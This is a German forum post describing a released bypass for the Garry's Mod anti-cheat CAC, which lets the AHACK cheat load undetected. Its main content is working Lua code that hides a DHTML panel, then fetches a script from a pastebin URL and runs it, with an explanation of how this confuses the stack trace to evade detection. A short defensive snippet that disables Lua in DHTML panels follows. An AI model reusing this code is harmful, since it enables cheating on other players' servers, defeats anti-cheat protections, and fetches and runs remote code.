CAC bypass

  • Also vor nicht all zu langer zeit (*5 tage*) habe ich mein alten CAC bypass released welcher AHACK ( ein alter gmod Cheat ) laden kann ohne von cac detected zu werden hier werde ich ein bisschen auf den "Exploit" eingehen und wie man ihn verhindern kann, bis vil irgend wann der Offizielle patch kommt.
    Doch davor erzähle ich erstmal wie es dazu kam.


    Anfang 2016 hatten wir unser CAC Bypass endlich zum laufen gebracht jedoch konnten wir den nicht weiter geben da er ( zumindest meines Wissens nach ) einer der besten ist die derzeit existiert hat.
    Wir wollten jedoch ein Cheat schreiben den wir weiter geben konnten und der keine Modul oder andere dependency's hat.
    Also haben wir etwas rumprobiert und sind mit diesem Bypass herausgekommen. Er funktioniert indem er CAC denken lässt, dass das ausgeführte Script von einem Frame ( eines Elementes des Spiels geladen wird, dass gewhitlistet ist ) .


    Dies passiert indem wir ein Dhtml Panel "austricksen" und (im BSP. dem Bypass) von pastenbin den hack laden.


    C
    local HTML = vgui.Create( "DHTML", vgui.GetWorldPanel() )
    HTML:SetSize( 0, 0 )
    HTML:SetAllowLua( true ) 
    HTML:SetHTML( [===[
    	<input id='heck' type='submit' onclick='console.log( "RUNLUA:RunString( \"pcall( http.Fetch , [[https://pastebin.com/raw/Z4Wr2nUk]] , RunString )\" ) ")' />
    	<script> document.getElementById("heck").onclick() </script>
    ]===] )


    Durch das laden des Scriptes mit console.log ( src: https://wiki.garrysmod.com/page/DHTML/ConsoleMessage and https://github.com/Facepunch/g…rysmod/lua/vgui/dhtml.lua line 18 )
    welches die ausführung von lua code dadurch das http.fetch von dem derma frame ausgeführt wird weiß cac nicht was es tuen soll und nimmt dies erstmal hin.


    Nun das witzige ist das wenn http.fetch den Inhalt der Website liefert ruft es Runstring mit dem Code auf diser aufruf ist aber nicht im normalen Stack.
    Daher weiß cac nicht was passiert und da htttp.fetch von einem gewhitlisteten "ort" aufgerufen wurde denkt cac dass das script "ok ist".


    Weil das laden den Stack Trace für das Script verwirrt ist es möglich diesen bypass nach CAC zu laden und sogar ohne scripthook oder external man könnte dieses Script mit jeden bypass laden dies ist der einzige bypass der dies jemals geschafft hat!



    Wie sollten sich Server davor schützen?

    Code
    hook.Add("Initialize" , "JoinMsg" , function( )
    	local old = vgui.GetControlTable( "DHTML" ).SetAllowLua
    	vgui.GetControlTable( "DHTML" ).SetAllowLua = function( s , x ) return old( s , false ) end
    end )

    Dieses script verhindert das man DHtml frames Ausnutzen kann um lua zu laden.


    Indem ich einfach die Funktion die für das setzen der Variable die das ausführen des lua scriptes detourt.



    Letzte worte:
    also auch wenn der Bypass nicht perfekt ist ( z.b mann muss ihn schnell laden bevor cac http.fetch hooked das sind ca 10 sec nach Joinen ) hat er kleinerer Fehler auf die ich nicht eingehen will jedoch ist er in dem jetzigen Release nicht vollständig und kann nach einer zeit zu einem Kick führen. Jedoch als CAC Truth Engineering(2) für welchen in den Einstellungen (von cac ) weder Gebannt noch gekickt werden kann. Man kann ihn umschreiben das er perfekt mit jedem Hack funktioniert aber diese Version werde ich aus angst das bald alle kinder mit ahack und hera auf cac Servern rumlaufen nicht Releasen.



    <3 K03 <3